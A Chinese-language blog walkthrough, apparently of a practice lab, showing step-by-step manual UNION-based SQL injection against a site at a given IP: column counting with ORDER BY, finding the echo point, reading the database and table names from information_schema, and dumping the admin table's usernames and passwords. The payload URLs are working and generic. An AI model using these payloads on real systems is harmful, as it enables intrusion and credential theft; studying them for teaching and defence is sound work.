查:有多少行
進去是這樣的:直接點擊

可以看到:我們的url發生了變化,

id是啥,我們猜測,id是資料庫的前面的序號,像這樣.
我們輸入不同的id,可以得到不同的資料庫,那么頁面也就不同.

測驗:id=3,有網頁,我們接著測驗id=4 id=5 id=6 發現都沒有內容

說明id=3 的時候,資料表內容已經"見底"了

于是我們就知道了這個資料表有四行,包括id=0的初始頁面

查:有多少列
使用order by 陳述句.
我從 1~3查,發現3沒有,2有.
那么就證明這個資料表就兩個欄位
讀者可以自行去谷歌應用商店下載hackbar或者類似插件
http://59.63.200.79:8003/?id=1 order by 2

所以,這個資料表,4行2列.
判斷回顯點
回顯點就是資料表中的哪個內容可以在網頁中顯示.
通常用聯合查詢. 我們知道,這有兩個欄位.
所以:
http://59.63.200.79:8003/?id=1 union select 1,2
嗯?沒反應,還是顯示那個內容

我們通過MySQL演示,發現我們注入的select 1,2都在資料表的最底部

想讓它顯示出來,兩種辦法
- 添加錯誤條件在前面,讓它不顯示

- 顯示限制條件

http://59.63.200.79:8003/?id=1 and 1=2 union select 1,2
http://59.63.200.79:8003/?id=1 union select 1,2 limit 1,1
# 任意一種
于是,有一個2就顯露出來了,這個2就是回顯點!

查:資料庫名稱
更換url,使用database(),顯示出資料庫名稱
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,database()
資料庫的名稱是maoshe

查:資料表名稱
這段代碼的意思是,在information_schema.tables這個資料表中,從table_name 這一列中,查找在table_schema這一列中資料庫等于當前資料庫名稱的各個資料表名.
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
好,資料表名是admin

查:欄位名稱
group_concat()這個函式可以顯示出所有有關的內容,否則就默認顯示出第一行的.
列名肯定不止一個,所以我們要一起顯示出來.
其實上面也可以用 group_concat(),自行體會一下
http://59.63.200.79:8003/?id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin' limit 1,100

查:單元格內容
最愛的 username 和password來了.
看一看他們都有些啥
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username) from admin

http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(password) from admin

至此,SQL注入演示完畢.
其實sqlmap更快,但沒必要
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/290798.html
標籤:其他
上一篇:BugKu_網站被黑
下一篇:記錄第一次網路安全實訓(體驗課)
